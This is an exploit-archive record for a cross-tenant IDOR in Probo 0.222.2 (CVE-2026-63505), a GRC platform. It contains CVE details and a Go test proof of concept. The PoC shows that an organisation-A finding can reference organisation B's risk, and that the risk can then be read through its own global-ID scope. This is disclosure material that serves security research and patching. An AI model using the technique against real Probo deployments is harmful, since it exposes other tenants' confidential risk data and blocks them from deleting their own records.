{"exploit":{"id":"EDB-52650","name":"Probo 0.222.2 - 'riskId' Insecure Direct Object Reference (IDOR)","description":"Probo 0.222.2 - 'riskId' Insecure Direct Object Reference (IDOR)","cves":["CVE-2026-63505"],"author":"Jorge González Milla","published":"2026-08-17","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52650","path":"exploits/multiple/webapps/52650.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52650.txt","vulnerabilities":[{"id":"CVE-2026-63505","state":"PUBLISHED","title":"Probo: Cross-tenant IDOR via unvalidated FK references","titleSource":"CVE Program","description":"Probo is a self-hostable governance, risk, and compliance (GRC) platform built for engineering and security teams. Prior to version 0.223.1, Probo's console GraphQL API is a multi-tenant GRC platform where all data is scoped to an organization. A Finding can reference a Risk via finding.riskId. That reference is stored without validating that the risk belongs to the caller's organization, and the Finding.risk field resolver authorizes the finding (caller's org) instead of the risk, then loads the risk with a tenant scope derived from the risk's own global ID. As a result, an authenticated member of organization A can attach an arbitrary organization B risk GID to a finding they own and then read organization B's Risk (name, description, treatment, category, severity, owner) — with no membership in B. The stored cross-tenant reference also blocks B from deleting its own risk (ON DELETE RESTRICT), a cross-tenant integrity/DoS. This issue has been patched in version 0.223.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63505","cvss":{"version":"3.1","baseScore":4.9,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63505"},"updatedAt":"2026-11-16T18:16:44.133Z","retrievedAt":"2026-11-25T16:13:47.191Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52650.png?v=2","url":"https://exploitbin.com/exploits/EDB-52650","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52650/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52650/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Probo 0.222.2 - IDOR\n\n# Date: 2026-07-17\n\n# Exploit Author: Pig-Tail (Jorge González Milla)\n\n# Vendor Homepage: https://github.com/getprobo/probo\n\n# Software Link: https://github.com/getprobo/probo\n\n# Version: <= 0.222.2 (fixed 0.223.1)\n\n# Tested on: Linux\n\n# CVE: CVE-2026-63505\n\n# Category: webapps\n\n# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo\n\n\n\nFinding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.\n\n\n\nThe PoC is a benign, local verification harness (sentinel-based; no network attack, no\n\npersistence, no destructive payload). Run against a local instance of the affected version.\n\n\n\n--- PoC (idor_test.go) ---\n\npackage idorpoc\n\n\n\nimport (\n\n\"context\"\n\n\"fmt\"\n\n\"testing\"\n\n\"time\"\n\n\n\n\" http://github.com/stretchr/testify/require \"\n\n\" http://go.gearno.de/kit/pg \"\n\n\" http://go.probo.inc/probo/internal/test \"\n\n\" http://go.probo.inc/probo/pkg/coredata \"\n\n\" http://go.probo.inc/probo/pkg/gid \"\n\n)\n\n\n\n// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant\n\n// IDOR in the Finding->Risk relation (console v1):\n\n//   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store\n\n//     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant\n\n//     FK on risk_id. => an org-A finding can reference an org-B risk.\n\n//   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the\n\n//     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the\n\n//     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.\n\n// Benign marker: a sentinel risk name created in org B is read back through the\n\n// org-B-scoped load that the resolver uses.\n\nfunc mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {\n\nt.Helper()\n\ntenantID := gid.NewTenantID()\n\norgID := gid.New(tenantID, coredata.OrganizationEntityType)\n\nnow := time.Now()\n\nerr := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {\n\n_, err := tx.Exec(ctx,\n\n`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,\n\norgID.String(), tenantID.String(), \"org-\"+orgID.String(), now, now)\n\nreturn err\n\n})\n\nrequire.NoError(t, err)\n\nreturn tenantID, orgID, coredata.NewScope(tenantID)\n\n}\n\n\n\nfunc TestFindingRiskCrossTenantIDOR(t *testing.T) {\n\nclient := test.PGClient(t)\n\nctx := context.Background()\n\n\n\ntenantA, orgA, scopeA := mkOrg(t, client)\n\ntenantB, orgB, scopeB := mkOrg(t, client)\n\n_ = tenantA\n\n\n\nconst sentinel = \"SECRET-ORG-B-RISK-do-not-disclose\"\n\nriskB := &coredata.Risk{\n\nID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,\n\nName: sentinel, Category: \"confidential\", Treatment: coredata.RiskTreatmentMitigated,\n\nNote: \"internal\", InherentLikelihood: 3, InherentImpact: 3,\n\nResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),\n\n}\n\nrequire.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {\n\nreturn riskB.Insert(ctx, tx, scopeB)\n\n}), \"seed org-B risk\")\n\n\n\n// --- WRITE GAP: create a finding in org A referencing org B's risk ---\n\nfindingA := &coredata.Finding{\n\nID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,\n\nKind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,\n\nPriority: coredata.FindingPriorityMedium,\n\nRiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId\n\nCreatedAt: time.Now(), UpdatedAt: time.Now(),\n\n}\n\nwriteErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {\n\nreturn findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does\n\n})\n\nrequire.NoError(t, writeErr, \"WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded\")\n\nt.Logf(\"WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)\", findingA.ID, riskB.ID)\n\n\n\n// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---\n\nloaded := &coredata.Risk{}\n\nreadErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {\n\n// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)\n\nreturn loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)\n\n})\n\nrequire.NoError(t, readErr, \"READ GAP: risk should not be loadable by an org-A request\")\n\nrequire.Equal(t, sentinel, loaded.Name)\n\nt.Logf(\"READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)\", loaded.Name)\n\n\n\n// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---\n\ncontrast := &coredata.Risk{}\n\ncErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {\n\nreturn contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope\n\n})\n\nrequire.Error(t, cErr, \"CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)\")\n\nfmt.Printf(\"\\n=== CROSS-TENANT IDOR CONFIRMED ===\\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\\n\", sentinel, cErr)\n\n}","sha256":"28f7e7a410e21f6ba50f70005499e2f767df7bf17aa8e2d12365fbd700a165f4","bytes":5395,"fetchedAt":"2026-11-25T10:17:07.855Z","encoding":"utf-8 (display only; download retains original bytes)"}